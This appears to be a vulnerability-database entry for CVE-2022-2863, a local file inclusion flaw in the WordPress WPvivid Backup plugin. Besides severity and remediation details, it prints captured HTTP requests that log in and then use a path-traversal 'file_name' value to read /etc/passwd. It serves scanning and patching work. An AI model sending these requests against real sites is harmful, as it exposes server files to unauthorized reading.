| Title | WordPress WPvivid Backup <0.9.76 - Local File Inclusion |
|---|---|
| Author | tehtbl |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation. |
| Remediation | Upgrade to version 0.9.76 or later. |
| CVSS Score | 4.9 |
| EPSS Score | 0.06441 |
| CVE ID | CVE-2022-2863 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 wp wpscan seclists packetstorm authenticated lfi wordpress wp-plugin wpvivid vuln |
WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=UwXYDA&pwd=1hRp6E&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?_wpnonce=MlTW6N&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Referer: http://www.victim.com/wp-admin/admin.php?page=WPvivid
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2863.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2863.pcap
N/AN/A